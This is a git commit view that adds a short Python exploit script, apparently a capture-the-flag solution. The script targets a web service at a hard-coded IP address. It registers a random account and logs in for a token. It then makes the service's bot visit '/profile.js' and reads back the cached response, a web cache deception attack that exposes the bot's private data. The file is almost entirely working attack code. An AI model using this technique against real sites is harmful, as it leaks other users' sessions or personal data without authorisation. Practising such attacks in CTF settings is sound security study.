This commit is contained in:
2026-04-15 01:05:54 +02:00
parent db0324c43d
commit bc0c08342d
84 changed files with 28780 additions and 0 deletions

View File

@@ -0,0 +1,29 @@
import requests
import random
import string
ALPHABET = string.ascii_letters
URL = "http://154.57.164.75:32624"
# register a new account
username = "".join(ALPHABET[random.randint(0, len(ALPHABET) - 1)] for _ in range(20))
pw = "pw"
email = username
res = requests.post(f"{URL}/register", json={"username": username, "password": pw, "email": email})
print(res.text)
# log into the new account
res = requests.post(f"{URL}", json={"username": username, "password": pw})
token = res.json()["token"]
print(f"[+] token = {token}")
# send the bot to /profile.js
uri = "profile.js"
res = requests.post(f"{URL}/visit", headers={"Authorization": f"Bearer {token}"}, json={"uri": uri})
print(res.text)
# retrieve the cached result
res = requests.get(f"{URL}/{uri}")
print(res.text)